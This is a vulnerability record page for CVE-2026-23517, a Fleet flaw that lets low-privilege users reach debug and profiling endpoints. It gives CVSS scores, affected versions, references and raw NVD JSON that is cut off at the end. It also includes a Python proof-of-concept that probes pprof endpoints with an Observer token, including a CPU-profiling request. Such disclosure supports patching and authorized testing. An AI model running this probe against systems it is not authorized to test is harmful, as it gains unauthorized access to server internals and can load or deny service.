CVE-2026-23517

Description

Fleet is open source device management software. A broken access control issue in versions prior to 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 allowed authenticated users to access debug and profiling endpoints regardless of role. As a result, low-privilege users could view internal server diagnostics and trigger resource-intensive profiling operations. Fleet’s debug/pprof endpoints are accessible to any authenticated user regardless of role, including the lowest-privilege “Observer” role. This allows low-privilege users to access sensitive server internals, including runtime profiling data and in-memory application state, and to trigger CPU-intensive profiling operations that could lead to denial of service. Versions 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 fix the issue. If an immediate upgrade is not possible, users should put the debug/pprof endpoints behind an IP allowlist as a workaround.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:fleetdm:fleet:4.77.0:*:*:*:*:*:*:* - VULNERABLE

Fleet < 4.53.3

Fleet < 4.75.2

Fleet < 4.76.2

Fleet < 4.77.1

Fleet < 4.78.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-23517 PoC - Fleet Debug Endpoint Unauthorized Access
Note: This PoC demonstrates the vulnerability for authorized security testing only.
"""

import requests
import argparse
import sys
from urllib.parse import urljoin

def check_vulnerability(base_url, token):
    """Check if Fleet instance is vulnerable to CVE-2026-23517"""
    headers = {
        'Authorization': f'Bearer {token}',
        'Content-Type': 'application/json'
    }
    
    # List of sensitive debug endpoints
    debug_endpoints = [
        '/debug/pprof/',
        '/debug/pprof/cmdline',
        '/debug/pprof/profile?seconds=10',
        '/debug/pprof/heap',
        '/debug/vars',
        '/debug/pprof/goroutine?debug=1'
    ]
    
    print(f"[*] Testing Fleet instance: {base_url}")
    print(f"[*] Using token: {token[:10]}...")
    print("-" * 60)
    
    vulnerable = False
    
    for endpoint in debug_endpoints:
        url = urljoin(base_url.rstrip('/') + '/', endpoint.lstrip('/'))
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            
            if response.status_code == 200:
                print(f"[VULN] {endpoint} - Accessible (200 OK)")
                print(f"      Content length: {len(response.content)} bytes")
                vulnerable = True
            elif response.status_code == 403:
                print(f"[SAFE] {endpoint} - Access Denied (403 Forbidden)")
            else:
                print(f"[*] {endpoint} - Status: {response.status_code}")
                
        except requests.exceptions.RequestException as e:
            print(f"[ERROR] {endpoint} - {str(e)}")
    
    print("-" * 60)
    if vulnerable:
        print("[!] Target is VULNERABLE to CVE-2026-23517")
        print("[!] Low-privilege users can access debug endpoints!")
    else:
        print("[+] Target appears to be PATCHED")
    
    return vulnerable

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-23517 PoC')
    parser.add_argument('-u', '--url', required=True, help='Fleet base URL')
    parser.add_argument('-t', '--token', required=True, help='Observer token or low-privilege token')
    args = parser.parse_args()
    
    check_vulnerability(args.url, args.token)

if __name__ == '__main__':
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23517
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23517
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23517/
[4] VulDB https://vuldb.com/cve/CVE-2026-23517
[5] https://github.com/fleetdm/fleet/commit/5c030e32a3a9bc512355b5e1bf19636e4e6d0317
[6] https://github.com/fleetdm/fleet/security/advisories/GHSA-4r5r-ccr6-q6f6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23517", "sourceIdentifier": "[email protected]", "published": "2026-01-21T22:15:49.997", "lastModified": "2026-02-27T16:16:14.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. A broken access control issue in versions prior to 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 allowed authenticated users to access debug and profiling endpoints regardless of role. As a result, low-privilege users could view internal server diagnostics and trigger resource-intensive profiling operations. Fleet’s debug/pprof endpoints are accessible to any authenticated user regardless of role, including the lowest-privilege “Observer” role. This allows low-privilege users to access sensitive server internals, including runtime profiling data and in-memory application state, and to trigger CPU-intensive profiling operations that could lead to denial of service. Versions 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 fix the issue. If an immediate upgrade is not possible, users should put the debug/pprof endpoints behind an IP allowlist as a workaround."}, {"lang": "es", "value": "Fleet es un software de gestión de dispositivos de código abierto. Un problema de control de acceso roto en versiones anteriores a 4.78.3, 4.77.1, 4.76.2, 4.75.2 y 4.53.3 permitía a los usuarios autenticados acceder a los puntos finales de depuración y perfilado independientemente del rol. Como resultado, los usuarios con privilegios bajos podían ver diagnósticos internos del servidor y activar operaciones de perfilado que consumen muchos recursos. Los puntos finales debug/pprof de Fleet son accesibles para cualquier usuario autenticado independientemente del rol, incluido el rol 'Observer' con los privilegios más bajos. Esto permite a los usuarios con privilegios bajos acceder a elementos internos sensibles del servidor, incluidos datos de perfilado en tiempo de ejecución y el estado de la aplicación en memoria, y activar operaciones de perfilado intensivas en CPU que podrían llevar a una denegación de servicio. Las versiones 4.78.3, 4.77.1, 4.76.2, 4.75.2 y 4.53.3 solucionan el problema. Si una actualización inmediata no es posible, los usuarios deberían colocar los puntos finales debug/pprof detrás de una lista blanca de IP como solución alternativa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.53.3", "matchCriteriaId": "58B2870D-823A-4862-A51B-B3F86C60D89B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.75.0", "versionEndExcluding": "4.75.2", "matchCriteriaId": "E363A7DF-0880-44B8-82A6-0192D1D43471"}, {"vuln ... (truncated)